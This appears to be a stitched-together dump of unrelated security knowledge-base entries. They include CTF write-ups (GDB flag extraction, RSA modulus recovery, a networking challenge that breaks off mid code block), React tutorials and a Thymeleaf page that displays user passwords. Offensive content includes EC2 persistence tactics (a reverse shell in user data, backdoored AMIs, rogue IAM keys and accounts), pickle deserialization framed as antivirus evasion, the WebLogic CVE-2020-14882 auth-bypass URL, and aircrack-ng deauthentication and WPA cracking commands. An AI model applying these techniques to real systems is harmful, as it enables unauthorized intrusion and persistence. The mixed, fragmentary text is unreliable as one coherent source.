| ; DATA XREF from entry0 (0x4006ad)
| 0x004008c9 55 push rbp
| 0x004008ca 4889e5 mov rbp, rsp
| 0x004008cd 4883ec10 sub rsp, 0x10
| 0x004008d1 897dfc mov dword [local_4h], edi ; argc
| 0x004008d4 488975f0 mov qword [local_10h], rsi ; argv
| 0x004008d8 488b05f90a20. mov rax, qword [obj.stdout__GLIBC_2.2.5] ; obj.__TMC_END ; [0x6013d8:8]=0
| 0x004008df b900000000 mov ecx, 0
| 0x004008e4 ba02000000 mov edx, 2
| 0x004008e9 be00000000 mov esi, 0
| 0x004008ee 4889c7 mov rdi, rax
| 0x004008f1 e85afdffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
| 0x004008f6 bfd0094000 mov edi, str.Decrypting_the_Flag_into_global_variable__flag_buf ; 0x4009d0 ; "Decrypting the Flag into global variable 'flag_buf'"
| 0x004008fb e800fdffff call sym.imp.puts ; int puts(const char *s)
| 0x00400900 b800000000 mov eax, 0
| 0x00400905 e87cfeffff call sym.decrypt_flag
| 0x0040090a bf080a4000 mov edi, str.Finished_Reading_Flag_into_global_variable__flag_buf_._Exiting. ; 0x400a08 ; "Finished Reading Flag into global variable 'flag_buf'. Exiting."
| 0x0040090f e8ecfcffff call sym.imp.puts ; int puts(const char *s)
| 0x00400914 b800000000 mov eax, 0
| 0x00400919 c9 leave
\ 0x0040091a c3 ret
[0x004008c9]>
```
The program simply decrypts the flag, stores the result in the global variable called `flag_buf` (according to the print, verified by disassembly too) and exits.
Using GDB, we can easily break right after the decryption and inspect the flag.
It's pretty straightforward to perform this directly with GDB, but it seemed like a good chance to practice using the pwntools GDB class:
```python
from pwn import *
gdb_script = """
b decrypt_flag
c
fin
printf "Flag: %s", flag_buf
call printf("%s", flag_buf)
q
"""
p = gdb.debug("./run", gdb_script)
print p.recvall()
p.wait()
```
Output:
```console
root@kali:/media/sf_CTFs/pico/learn_gdb# python solve.py
[+] Starting local process '/usr/bin/gdbserver': pid 1356
[*] running in new terminal: /usr/bin/gdb -q "./run" -x "/tmp/pwnPv3xeB.gdb"
[+] Receiving all data: Done (164B)
[*] Process '/usr/bin/gdbserver' stopped with exit code 0 (pid 1360)
Remote debugging from host 127.0.0.1
Decrypting the Flag into global variable 'flag_buf'
.....................................
picoCTF{gDb_iS_sUp3r_u53fuL_a6c61d82}
```
The script launches GDB which in turn launches the program. GDB also receives a script to run:
* Set breakpoint on the "decrypt_flag" function
* run
* When breakpoint is hit, run until end of function (finish decrypting)
* Print the flag to the GDB console
* This one is pretty cool: Call the program's "printf" function, which will result in printing the flag to STDOUT (as if the code itself called `printf`). This is what allows us to read the flag using `print p.recvall()`
The flag: picoCTF{gDb_iS_sUp3r_u53fuL_a6c61d82}
|
sec-knowleage
|
---
title: EC2 下的权限维持
---
<center><h1>EC2 下的权限维持</h1></center>
---
## 1、用户数据
在上文描述到用户数据的时候,可以很容易发现用户数据可以被用来做权限维持,只需要将要执行的命令改成反弹 Shell 的命令即可。
但是也许目标可能很长时间都不会重启实例,而且用户数据也只有实例停止时才能修改,因此还是传统的权限维持方式会更具有优势些,这样来看使用用户数据进行权限维持显得就有些鸡肋了。
## 2、后门镜像
当攻击者获取到控制台权限后,可以看看目标的 AMI(Amazon 系统镜像),如果可以对其进行修改或者删除、创建的话,RT 就可以将原来的镜像替换成存在后门的镜像。
这样当下次目标用户在选用该镜像创建实例的时候,就会触发我们在镜像中植入的恶意代码了。
## 3、创建访问密钥
如果当前环境可以创建新的访问密钥,则可以在 IAM 中创建访问密钥进行权限维持。
## 4、创建辅助账号
除了以上的权限维持方法,还可以通过在 IAM 中创建高权限子账号的方式进行权限维持,然后通过这个子账号进行后续的持续攻击行为。
## 5、其他的权限维持方法
除了上述方法外,还可以通过在实例中添加隐藏用户、安装远控软件等等传统方法进行权限维持。
> 参考资料:
>
> https://cloud.tencent.com/developer/article/1931560
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2022年4月15日"
}
}
</script>
|
sec-knowleage
|
# 反序列化
---
```py
import pickle
class A(object):
a = 1
b = 2
def run(self):
print(self.a,self.b)
print(pickle.dumps(A()))
```
Python 中也有类似的方法可以使其在被反序列化的时候执行,这里以 `__reduce__` 为例
```py
import pickle
class A(object):
a = 1
b = 2
def __reduce__(self):
return (print, (self.a+self.b,))
print(pickle.dumps(A()))
```
通过 pickle 的 loads 来反序列化并自动执行
```py
import pickle
ret = b'\x80\x03cbuiltins\nprint\nq\x00K\x03\x85q\x01Rq\x02.'
pickle.loads(ret)
```
我们可以看到我们已经将我们的 a+b 自动输出了(这里也可以提示我们,pickle 的 loads 参数如果可以被控制,我们就可以进行利用)
我们这里可以对其进行混淆、编码操作,依旧以 Base64 编码为例,我们序列化代码如下
```py
import pickle
import base64
class A(object):
a = 1
b = 2
def __reduce__(self):
return (print, (self.a+self.b,))
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
print(ret_base64)
```
接下来我们只需要进行反序列化调用之前先进行解码操作即可
```py
import pickle
import base64
ret = b'gANjYnVpbHRpbnMKcHJpbnQKcQBLA4VxAVJxAi4='
ret_decode = base64.b64decode(ret)
pickle.loads(ret_decode)
```
---
## Source & Reference
- [利用加载器以及Python反序列化绕过AV](https://www.echocipher.life/index.php/archives/648/)
|
sec-knowleage
|
<!DOCTYPE html SYSTEM "http://www.thymeleaf.org/dtd/xhtml1-strict-thymeleaf-spring4-4.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:th="http://www.thymeleaf.org">
<head>
<title>Users</title>
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<link rel="stylesheet" href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css" />
<link rel="stylesheet" th:href="@{/css/style.css}" type="text/css" />
</head>
<body>
<h1>Users</h1>
<nav>
<ul class="pagination" th:with="total = ${users.totalPages}">
<li th:if="${users.hasPrevious()}">
<a th:href="@{/users(page=${users.previousPageable().pageNumber},size=${users.size})}" aria-label="Previous">
<span aria-hidden="true">«</span>
</a>
</li>
<li th:each="page : ${#numbers.sequence(0, total - 1)}"><a th:href="@{/users(page=${page},size=${users.size})}" th:text="${page + 1}">1</a></li>
<li th:if="${users.hasNext()}">
<a th:href="@{/users(page=${users.nextPageable().pageNumber},size=${users.size})}" aria-label="Next">
<span aria-hidden="true">»</span>
</a>
</li>
</ul>
</nav>
<ol>
<li th:each="user, it : ${users}" th:with="index = ${it.count}" th:text="${user.username + ' - ' + user.password}" th:value="${users.number * users.size + index}">Username</li>
</ol>
<form method="post" role="form" class="gb-form" id="form" th:action="@{/users(page=${page},size=${users.size})}" th:object="${userForm}">
<ul th:if="${#fields.hasErrors('*')}" class="errors" >
<li th:each="error : ${#fields.errors('*')}" th:text="${error}" class="text-danger">Input is incorrect</li>
</ul>
<div class="form-group">
<label for="username">Username</label><br />
<input type="text" th:field="*{username}" class="form-control" th:errorclass="fieldError" required="required" />
</div>
<div class="form-group">
<label for="password">Password</label><br />
<input type="password" th:field="*{password}" class="form-control" th:errorclass="fieldError" required="required" />
</div>
<div class="form-group">
<label for="repeatedPassword">Password (repeated)</label><br />
<input type="password" th:field="*{repeatedPassword}" class="form-control" th:errorclass="fieldError" required="required" />
</div>
<input type="submit" class="btn btn-default" value="Register user" />
</form>
</body>
</html>
|
sec-knowleage
|
Trivia 1 (trivia, 10p, 1021 solves)
> This mode on x86 is generally referred to as ring -2.
System Management Mode
|
sec-knowleage
|
##Smashthestate (Web, 400p)
This beautiful website for testing zip files contains a replica of a vulnerability found in a well known bug bounty site.
Log in with rob:smashthestate then exploit the vulnerability to gain access to the 'admin' account and the flag.
Automated tools and bruteforcing will not help you solve this challenge.
###PL
[ENG](#eng-version)
###ENG version
|
sec-knowleage
|
# Aircrack
<p align="center">
<img src="../../../assets/img/logo/aircrack-ng.jpg" width="25%">
</p>
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**简介**
aircrack 是一个比较出名的用于破解 WEP 和 WPA 加密的无线网络的一款工具,由 6 个不同的部分组成:
1. aircrack-ng 用于破解 WEP 以及 WPA-PSK 密钥。一旦 aircrack-ng 工具收集了足够的信息,aircrack-ng 将会分析这些数据,并试图确定使用中的密钥。
2. airdecap-ng 解读被破解的网络数据包
3. airmon-ng 为使用整个 aircrack-ng 套件配置一个网卡
4. aireplay-ng 在无线网络中产生可能在恢复中的 WEP 密钥所需的流量
5. airodump-ng 捕获被 aircrack-ng 用于破解 WEP 密钥的 802.11 帧
6. tools 为微调提供分类工具箱
**相关文章**
- [记一次曲折的WIFI测试之路](https://www.secpulse.com/archives/96964.html)
---
**配置无线网卡**
- WM Ware(开机后)
虚拟机->可移动设备->Ralink 802.11 n Wlan(显卡型号)->连接(断开与主机的连接)
- VBox
虚拟机关机状态下->将设备插入主机->设置->USB 设备->添加->删除除了供应商标识(VendorID)和产品标识(ProductID)之外的参数->开机->插入设备
- 验证是否连接成功
```bash
lsusb
airmon-ng
ifconfig
iwconfig
```
出现无线网卡型号即为成功
**无线基础命令**
```bash
iwlist # 用于对 /proc/net/wireless 文件进行分析,得出无线网卡相关信息
iwlist wlan0 scanning | grep "ESSID" # 查看当前所有的 AP 名
iwconfig
iwconfig wlan0 scanning # 扫描无线接入点
iwconfig wlan0 nickname hacking # 添加别名
```
---
## 例子
以无线网卡名为 wlan0 举例
```bash
airmon-ng start wlan0 # 启动网卡监听模式
airmon-ng check kill # 关闭干扰程序
airodump-ng wlan0mon # 开启抓包,获取附件无线网络
```
| 列名 | 含义
|-------------------------------------------|-------------------------
|BSSID(Basic Service SetIdentifier) |AP 的 MAC 地址
|PWR(Power) | 信号强度
|Beacons |AP 发出的通告编号, 每个接入点 (AP) 在最低速率 (1M) 时差不多每秒会发送 10 个左右的 beacon, 所以它们能在很远的地方就被发现
|Data | 当前数据传输量
|/s | 过去 10 秒钟内每秒捕获数据分组的数量
|CH(Channel) |AP 所在的频道
|MB |AP 的最大传输速度; MB=11 => 802.11b,MB=22 => 802.11b+, MB>22 => 802.11g; 后面带. 的表示短封包标头, 处理速度快, 更利于破解
|ENC(Encryption) | 使用的加密算法体系
|CIPHER | 检测到的加密算法
|AUTH(Authority) | 认证方式
|ESSID(The Extended Service Set Identifier) |AP 的名称
```bash
airodump-ng -c 6 --bssid E0:24:81:AF:F3:A8 -w wireless wlan0mon # 指定特定的wifi抓握手包,出现 handshake 则抓包成功
# -c 指定信道,上面已经标记目标热点的信道(CH)
# -bssid 指定目标路由器的BSSID,就是上面标记的BSSID
# -w 指定抓取的数据包保存的目录
aircrack-ng -a2 -b E0:24:81:AF:F3:A8 -w pass.txt wireless-01.cap # 跑包
```
**使用 hashcat 爆破(只能跑 WPA/WPA2/PSK 加密的)**
用 aircrack-ng 把 cap 转换成 hccap 类型数据包(会自动添加后缀名 .hccap)
```bash
aircrack-ng wireless-01.cap -J wireless
```
```bash
hashcat -m 2500 wireless.hccap pass.txt --force # 用hashcat破解WPA/PSK密码
```
若是提示"Old hccap format detected! You need to update"可以将第一步的命令改为
```bash
aircrack-ng wireless-01.cap -j wireless
```
**Deauthentication**
注意如果抓不到握手包把对方踢下线,这样就会抓包成功
```bash
aireplay-ng -0 10 -a <无线路由器的MAC地址> -c <连接上的设备MAC地址> wlan0mon
# -0 冲突攻击模式,后面跟发送次数,一般使用这个模式即可。
# -a 无线网 mac 地址
# -c 连接上的客户端 mac 地址,就是那个 STATION
```
**流量解密**
```bash
airdecap-ng -e [SSID name] -p [Wifi pass] xxx.cap
```
|
sec-knowleage
|
# Lost key (crypto, 334p, 10 solved)
Unfortunately we were unable to finish this task, but we managed to get the first part - recovery of `N`, and just for future reference we're include this part in a writeup.
## Overview
In the task we get [source code](chall.py).
We can connect to a service and we get back RSA encrypted flag.
We can also send our own payload and get it encrypted as well.
Our payload has restricted length and always includes prefix `X: `.
## General approach
The general method for recovering `N` in such case, is to obtain some multiples of `N` and calcuate their GCD.
If we had total control over the payload we could simply ask for encryption of `A` and of `A^2` and calculate `(A^e mod N)^2 - ((A^2)^e mod N)`.
Such difference, by definition, has to be a multiple of `N`, because you can shift the exponentiation order and move modulo:
```
(A^e mod N)^2 mod N = (A^e)^2 mod N = (A^e mod N)^2 mod N = (A^e)^2 mod N = (A^2)^e mod N`
```
So if we apply `mod N` to `(A^e mod N)^2` we should get the same value as in `((A^2)^e mod N)` therefore it has to be `((A^2)^e mod N) + k*N` and if we subtract `((A^2)^e mod N)` we'll get plain `k*N`.
However, we don't control the payload so much, it has the prefix!
## Modulus recovery
The idea for modulus recovery is just as above - we want to get from the server a pair of different ciphertexts which `mod N` would have the same value.
Subtracting them will yield `k*N`.
We are going to leverage homomorphic property of textbook RSA:
```
A^e mod N * B^e mod N = (A*B)^e mod N
```
Let's assume we have 4 different values such that: `A*B = C*D` and each of those values is a valid plaintext with the appropriate prefix.
If we encrypt those values separately with textbook RSA and combine them the property will still hold, so:
```
(A^e mod N * B^e mod N) mod N = (A*B)^e mod N
(C^e mod N * D^e mod N) mod N = (C*D)^e mod N
and since
A*B = C*D
then
(A*B)^e mod N == (C*D)^e mod N
```
However, the values `(A^e mod N) * (B^e mod N)` and `(C^e mod N) * (D^e mod N)` without applying the `mod N` operation on the product will not be the same!
This is exactly the property we're looking for.
So the goal is to find values `A, B, C, D` we could use.
The idea we came up with is to create each one of them as a combination of 2 other values in a way that:
```
A = x*y
B = z*v
C = x*v
D = y*z
```
This way obviously `A*B = x*y*z*v = C*D`.
Now we need to make sure each of the values matches the prefix.
In order to do that we figured we can factor the prefix into primes, and then create `x,y,z,v` as combination of some factors, so that each of `A, B, C, D` will contain full set of factors.
Of course values `A, B, C, D` have to be different, so we need to include also some random padding at the end of each of them:
```python
prefix = bytes_to_long("X: ")
factors, _ = factor(prefix)
random.shuffle(factors)
base1 = multiply(factors[:len(factors) / 2])
base2 = multiply(factors[len(factors) / 2:])
assert base1 * base2 == prefix
```
Now with those base values we can do:
```python
shift = 5
x = base1 * 256 ** shift + 0
y = base2 * 256 ** shift + 0
z = base1 * 256 ** shift + 1
v = base2 * 256 ** shift + 1
A = x * y
B = z * v
C = x * v
D = y * z
assert (A * B == C * D == x * y * z * v)
```
And we have the plaintexts we wanted.
Now we just need to encrypt them and calculate `(CTA * CTB) - (CTD * CTC)` to get a multiple of `N`.
After that the only thing left is to calculate gcd over those values to recover `N`: `28152737628466294873353447700677616804377761540447615032304834412268931104665382061141878570495440888771518997616518312198719994551237036466480942443879131169765243306374805214525362072592889691405243268672638788064054189918713974963485194898322382615752287071631796323864338560758158133372985410715951157`
This value can easily be factored into:
```
p = 531268630871904928125236420930762796930566248599562838123179520115291463168597060453850582450268863522872788705521479922595212649079603574353380342938159
q = 52991530070696473563320564293242344753975698734819856541454993888990555556689500359127445576561403828332510518908254263289997022658687697289264351266523
```
Unfortunately we were unable to recover `e` and finish the challenge.
Solver for the described part is [here](modulus.py)
We only managed to come up with an idea that calculating modular sqrt can tell us the LSB of `e`, and it worked, we know it's a odd number :)
|
sec-knowleage
|
# react-burger-menu
> 目前使用数最多的侧边栏插件
因为我们用 `create-react-app` 创建的 React 环境,
所以在这里我们使用 React 的组件形式。
### 装包
```
npm install react-burger-menu --save
```
### 使用
#### 首先导入组件
```js
import { slide as Menu } from 'react-burger-menu'
```
#### 将需要的侧边栏的项目,放在`<Menu>`内
```html
<Menu>
<a href='' />
</Menu>
```
#### 贴入 CSS 样式,进行定制自己需要的样式
```css
/* Position and sizing of burger button */
.bm-burger-button {
position: fixed;
width: 36px;
height: 30px;
left: 36px;
top: 36px;
}
/* Color/shape of burger icon bars */
.bm-burger-bars {
background: #373a47;
}
/* Position and sizing of clickable cross button */
.bm-cross-button {
height: 24px;
width: 24px;
}
/* Color/shape of close button cross */
.bm-cross {
background: #bdc3c7;
}
/* General sidebar styles */
.bm-menu {
background: #373a47;
padding: 2.5em 1.5em 0;
font-size: 1.15em;
}
/* Morph shape necessary with bubble or elastic */
.bm-morph-shape {
fill: #373a47;
}
/* Wrapper for item list */
.bm-item-list {
color: #b8b7ad;
padding: 0.8em;
}
/* Styling of overlay */
.bm-overlay {
background: rgba(0, 0, 0, 0.3);
}
```
**小贴士**:一般我们修改别人的样式或者插件的样式时,不是直接删除 重写 覆盖,而是在下面写一个自己定制的样式
```css
/* Liu custom */
/* Position and sizing of burger button */
.bm-burger-button {
position: fixed;
width: 18px;
height: 12px;
left: 20px;
top: 46px;
}
```
#### 利用插件自带的属性进行修改
- Position
> 默认情况下,菜单从左边打开。
要从右边打开,需要使用正确的道具。
它只是一个布尔值,所以你不需要指定一个值。
然后使用CSS设置按钮的位置。
```js
<Menu right />
```
- Width
> 可以使用宽度限定符指定菜单的宽,默认值是300
```js
<Menu width={ 280 } />
<Menu width={ '280px' } />
<Menu width={ '20%' } />
```
- 是否打开
> 你可以控制侧边栏是否打开或关闭与开放的道具,默认值为false
```js
<Menu isOpen />
```
- 状态的变化
> 你可以检测到侧边栏是否打开或关闭通过回调函数OnStateChange,
回调将接收一个包含新状态作为第一个参数的对象。
```js
var isMenuOpen = function(state) {
return state.isOpen
}
<Menu onStateChange={ isMenuOpen } />
```
- 覆盖
> 你可以关掉默认覆盖无叠加
```js
<Menu noOverlay />
```
### 怎么解决路由跳转时,侧边栏直接消失的问题
> 利用插件的`isOpen`使侧边栏先消失,再跳转。
在组件中创建一个`isOpen`状态值,写一个方法用来控制这个状态值,
最后用这个状态去控制插件的 isOpen
将这个方法绑定到需要跳转的路由上,就可以解决这个问题
```js
import React from 'react'
import { slide as Menu } from 'react-burger-menu'
//导入侧边栏
class Sidebar extends React.Component {
state = {
isOpen: false
//设置一个状态
}
closeBmMenu = () => {
this.setState({
isOpen: false
})
}
//设置一个方法来修改 state 的状态值
render(){
return(
<div className="sidebar">
<Menu isOpen={this.state.isOpen}>
//将状态值绑定给插件的 isOpen 属性
<button onClick={this.closeBmMenu} className="bm-close-button">
//将改变状态值的方法绑定在你需要触发的节点上
关闭
</button>
</Menu>
</div>
)
}
}
export default Sidebar
```
**没有解决的问题**:跳转没有侧边栏的组件时,侧边栏会直接消失。
### 参考
- Github地址:[点击进入](https://github.com/negomi/react-burger-menu)
- CTOLib社区:[点击进入](https://www.ctolib.com/react-burger-menu.html)
|
sec-knowleage
|
### Context
`context`是在 **react @ 0.14** 版本以后发布的一个高级且实验性的功能,有可能在未来做出更改。不推荐使用!
#### 使用 Context 的原因
实现 **越级**传递`props`
#### 例
祖父组件
```
import React, { Component } from 'react'
import propTypes from 'prop-types'
import Father from './Father'
class GrandFather extends Component {
getChildContext(){
return {
hello:"son"
}
}
render(){
return (
<div className="grandFather">
<h1>GrandFather</h1>
<Father />
</div>
)
}
}
GrandFather.childContextTypes = {
hello:propTypes.string
}
export default GrandFather
```
父组件
```
import React, { Component } from 'react'
import Son from './Son'
class Father extends Component {
render() {
return (
<div className="father">
<h1>Father</h1>
<Son />
</div>
)
}
}
export default Father
```
子组件
```
import React, { Component } from 'react'
import propTypes from 'prop-types'
class Son extends Component {
render() {
console.log(this.context)
return (
<div className="son">
<h1>Son</h1>
<h1>{this.context.hello}</h1>
</div>
)
}
}
Son.contextTypes = {
hello:propTypes.string
}
export default Son
```
|
sec-knowleage
|
# Weblogic 未授权访问漏洞
## 漏洞描述
Weblogic是Oracle公司推出的J2EE应用服务器,CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
## 漏洞检测
使用vulhub搭建漏洞演示环境
```bash
cd vulhub/weblogic/CVE-2020-14882
sudo docker-compose up -d
```
```
http://192.168.0.5:7001/console/css/%252e%252e%252fconsole.portal
```
攻击者可以构造特殊请求的URL,即可未授权访问到管理后台页面:

远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic Server Console 执行任意代码。
|
sec-knowleage
|
# Shoes
Category: Networking, 80 Points
## Description
> Hi Ash! We have found Team Rocket's secret server.
>
> We have a good feeling that there is a hidden message inside it, and you have to find it. In order to help you, we have managed to get a PCAP from someone who had access to the server in the past, we hope you find it useful.
>
> In addition, we have discovered an email that may be connected. All of the files are safe for download, don't worry.
>
> Good luck!
A network capture and an email were attached.
## Solution
The attached email describes a conversation between two members of Team Rocket:
```
To: jessie@team-rocket.io
Subject: RE: My protocolll
Hi sis! Make it double haha ;)
I reviewed your work, love how you didn't reinvent the wheel in your implementation, smart!
Regarding the checksum, Meowth suggested for using a standard error detection mechanism, you can use a similar algorithm of Ethernet's checksum, but keep it simple...
I hope it will keep Ash outside of our servers!
James,
Team Rocket inc.
From: Jessie <jessie@team-rocket.io>
Sent: Wednesday, January 8, 2020 11:35 AM
To: james@team-rocket.io
Subject: My protocolll
Sup Jessie! Prepare for trouble... just kidding.
I'm trying to implement our server communication protocol, do ya think we need some kind of checksum?
Jessie,
Team Rocket inc.
```
The attached network capture includes the following protocols:
```console
root@kali:/media/sf_CTFs/checkpoint/Shoes# tshark -nr capture.pcapng -qz io,phs
Running as user "root" and group "root". This could be dangerous.
===================================================================
Protocol Hierarchy Statistics
Filter:
eth frames:111 bytes:11496
ip frames:108 bytes:11324
tcp frames:78 bytes:7682
http frames:8 bytes:2072
socks frames:14 bytes:2242
icmp frames:14 bytes:1372
udp frames:16 bytes:2270
dns frames:16 bytes:2270
arp frames:2 bytes:102
ipv6 frames:1 bytes:70
icmpv6 frames:1 bytes:70
===================================================================
```
The "socks" messages seems to contain an interesting payload, and seem related to the challenge name.
Let's take a look at the payload:
```console
root@kali:/media/sf_CTFs/checkpoint/Shoes# tshark -nr capture.pcapng -Y 'socks' -T fields -e frame.number -e ip.src -e ip.dst -e tcp.payload
Running as user "root" and group "root". This could be dangerous.
67 10.0.2.15 52.28.255.56 5a:01:fe:dd:74:9c:2e
69 52.28.255.56 10.0.2.15 5a:fe:2c:91:60:5e:14:c8:b1:1b
71 10.0.2.15 52.28.255.56 5a:2c:d2:33:1f:a9:0b:b9:6a
73 10.0.2.15 52.28.255.56 5a:01:00:01:c0:a8:ad:0a:00:50:74:f2:be:19
75 52.28.255.56 10.0.2.15 5a:00:00:01:00:00:00:00:00:00:eb:cb:75:43
77 10.0.2.15 52.28.255.56 47:45:54:20:2f:20:48:54:54:50:2f:31:2e:31:0d:0a:55:73:65:72:2d:41:67:65:6e:74:3a:20:4d:6f:7a:69:6c:6c:61:2f:35:2e:30:20:28:57:69:6e:64:6f:77:73:20:4e:54:20:31:30:2e:30:3b:20:57:69:6e:36:34:3b:20:78:36:34:29:20:41:70:70:6c:65:57:65:62:4b:69:74:2f:35:33:37:2e:33:36:20:28:4b:48:54:4d:4c:2c:20:6c:69:6b:65:20:47:65:63:6b:6f:29:20:43:68:72:6f:6d:65:2f:37:34:2e:30:2e:33:37:32:39:2e:31:36:39:20:53:61:66:61:72:69:2f:35:33:37:2e:33:36:0d:0a:48:6f:73:74:3a:20:77:77:77:2e:74:75:74:6f:72:69:61:6c:73:70:6f:69:6e:74:2e:63:6f:6d:0d:0a:41:63:63:65:70:74:2d:4c:61:6e:67:75:61:67:65:3a:20:65:6e:2d:75:73:0d:0a:43:6f:6e:6e:65:63:74:69:6f:6e:3a:20:4b:65:65:70:2d:41:6c:69:76:65:0d:0a:0d:0a
79 52.28.255.56 10.0.2.15 48:54:54:50:2f:31:2e:31:20:32:30:30:20:4f:4b:0d:0a:44:61:74:65:3a:20:57:65:64:2c:20:32:32:20:41:70:72:20:32:30:32:30:20:31:31:3a:32:31:3a:35:30:20:47:4d:54:0d:0a:53:65:72:76:65:72:3a:20:41:70:61:63:68:65:2f:32:2e:34:2e:32:39:20:28:55:62:75:6e:74:75:29:0d:0a:4c:61:73:74:2d:4d:6f:64:69:66:69:65:64:3a:20:57:65:64:2c:20:32:32:20:41:70:72:20:32:30:32:30:20:31:30:3a:34:39:3a:35:36:20:47:4d:54:0d:0a:45:54:61:67:3a:20:22:39:64:2d:35:61:33:64:65:65:34:39:31:64:61:37:32:22:0d:0a:41:63:63:65:70:74:2d:52:61:6e:67:65:73:3a:20:62:79:74:65:73:0d:0a:43:6f:6e:74:65:6e:74:2d:4c:65:6e:67:74:68:3a:20:31:35:37:0d:0a:56:61:72:79:3a:20:41:63:63:65:70:74:2d:45:6e:63:6f:64:69:6e:67:0d:0a:4b:65:65:70:2d:41:6c:69:76:65:3a:20:74:69:6d:65:6f:75:74:3d:35:2c:20:6d:61:78:3d:31:30:30:0d:0a:43:6f:6e:6e:65:63:74:69:6f:6e:3a:20:4b:65:65:70:2d:41:6c:69:76:65:0d:0a:43:6f:6e:74:65:6e:74:2d:54:79:70:65:3a:20:74:65:78:74:2f:68:74:6d:6c:0d:0a:0d:0a:46:69:6c:65:73:20:69:6e:20:73:65:72:76:65:72:3a:0a:0a:69:6e:64:65:78:2e:68:74:6d:6c:0a:41:72:62:6f:6b:2e:6a:70:67:0a:42:6c:61:73:74:6f:69:73:65:2e:6a:70:67:0a:42:75:6c:62:61:73:61:75:72:2e:6a:70:67:0a:42:75:74:74:65:72:66:72:65:65:2e:6a:70:67:0a:43:68:61:72:69:7a:61:72:64:2e:6a:70:67:0a:46:6c:61:67:2e:6a:70:67:0a:4d:65:74:61:70:6f:64:2e:6a:70:67:0a:52:61:74:74:61:74:61:2e:6a:70:67:0a:53:71:75:69:72:74:6c:65:2e:6a:70:67:0a:57:61:72:74:6f:72:74:6c:65:2e:6a:70:67:0a:0a
91 10.0.2.15 52.28.255.56 5a:01:fe:dd:74:9c:2e
93 52.28.255.56 10.0.2.15 5a:fe:67:a6:f1:93:f4:76:98:64
95 10.0.2.15 52.28.255.56 5a:67:e5:a2:d2:49:b5:90:15
97 10.0.2.15 52.28.255.56 5a:01:00:01:c0:a8:ad:0a:00:50:74:f2:be:19
99 52.28.255.56 10.0.2.15 5a:00:00:01:00:00:00:00:00:00:eb:cb:75:43
101 10.0.2.15 52.28.255.56 47:45:54:20:2f:20:48:54:54:50:2f:31:2e:31:0d:0a:55:73:65:72:2d:41:67:65:6e:74:3a:20:4d:6f:7a:69:6c:6c:61:2f:35:2e:30:20:28:57:69:6e:64:6f:77:73:20:4e:54:20:31:30:2e:30:3b:20:57:69:6e:36:34:3b:20:78:36:34:29:20:41:70:70:6c:65:57:65:62:4b:69:74:2f:35:33:37:2e:33:36:20:28:4b:48:54:4d:4c:2c:20:6c:69:6b:65:20:47:65:63:6b:6f:29:20:43:68:72:6f:6d:65:2f:37:34:2e:30:2e:33:37:32:39:2e:31:36:39:20:53:61:66:61:72:69:2f:35:33:37:2e:33:36:0d:0a:48:6f:73:74:3a:20:77:77:77:2e:74:75:74:6f:72:69:61:6c:73:70:6f:69:6e:74:2e:63:6f:6d:0d:0a:41:63:63:65:70:74:2d:4c:61:6e:67:75:61:67:65:3a:20:65:6e:2d:75:73:0d:0a:43:6f:6e:6e:65:63:74:69:6f:6e:3a:20:4b:65:65:70:2d:41:6c:69:76:65:0d:0a:0d:0a
103 52.28.255.56 10.0.2.15 48:54:54:50:2f:31:2e:31:20:32:30:30:20:4f:4b:0d:0a:44:61:74:65:3a:20:57:65:64:2c:20:32:32:20:41:70:72:20:32:30:32:30:20:31:31:3a:32:31:3a:35:37:20:47:4d:54:0d:0a:53:65:72:76:65:72:3a:20:41:70:61:63:68:65:2f:32:2e:34:2e:32:39:20:28:55:62:75:6e:74:75:29:0d:0a:4c:61:73:74:2d:4d:6f:64:69:66:69:65:64:3a:20:57:65:64:2c:20:32:32:20:41:70:72:20:32:30:32:30:20:31:30:3a:34:39:3a:35:36:20:47:4d:54:0d:0a:45:54:61:67:3a:20:22:39:64:2d:35:61:33:64:65:65:34:39:31:64:61:37:32:22:0d:0a:41:63:63:65:70:74:2d:52:61:6e:67:65:73:3a:20:62:79:74:65:73:0d:0a:43:6f:6e:74:65:6e:74:2d:4c:65:6e:67:74:68:3a:20:31:35:37:0d:0a:56:61:72:79:3a:20:41:63:63:65:70:74:2d:45:6e:63:6f:64:69:6e:67:0d:0a:4b:65:65:70:2d:41:6c:69:76:65:3a:20:74:69:6d:65:6f:75:74:3d:35:2c:20:6d:61:78:3d:31:30:30:0d:0a:43:6f:6e:6e:65:63:74:69:6f:6e:3a:20:4b:65:65:70:2d:41:6c:69:76:65:0d:0a:43:6f:6e:74:65:6e:74:2d:54:79:70:65:3a:20:74:65:78:74:2f:68:74:6d:6c:0d:0a:0d:0a:46:69:6c:65:73:20:69:6e:20:73:65:72:76:65:72:3a:0a:0a:69:6e:64:65:78:2e:68:74:6d:6c:0a:41:72:62:6f:6b:2e:6a:70:67:0a:42:6c:61:73:74:6f:69:73:65:2e:6a:70:67:0a:42:75:6c:62:61:73:61:75:72:2e:6a:70:67:0a:42:75:74:74:65:72:66:72:65:65:2e:6a:70:67:0a:43:68:61:72:69:7a:61:72:64:2e:6a:70:67:0a:46:6c:61:67:2e:6a:70:67:0a:4d:65:74:61:70:6f:64:2e:6a:70:67:0a:52:61:74:74:61:74:61:2e:6a:70:67:0a:53:71:75:69:72:74:6c:65:2e:6a:70:67:0a:57:61:72:74:6f:72:74:6c:65:2e:6a:70:67:0a:0a
```
It looks like we have two sessions: 67-79, and 91-103. The payload in both sessions is similar but not identical.
We'll ignore the long packets for now (77, 79, 101, 103) and try to analyze the shorter ones.
The communication is done over the SOCKS port (1080), but the protocol itself doesn't match the SOCKS spec.
The mail mentioned a checksum, so maybe we should start by locating it. It should be standard according to the mail. The [Ethernet Checksum](https://en.wikipedia.org/wiki/Frame_check_sequence) is CRC32 (4 bytes long), so let's try that:
```console
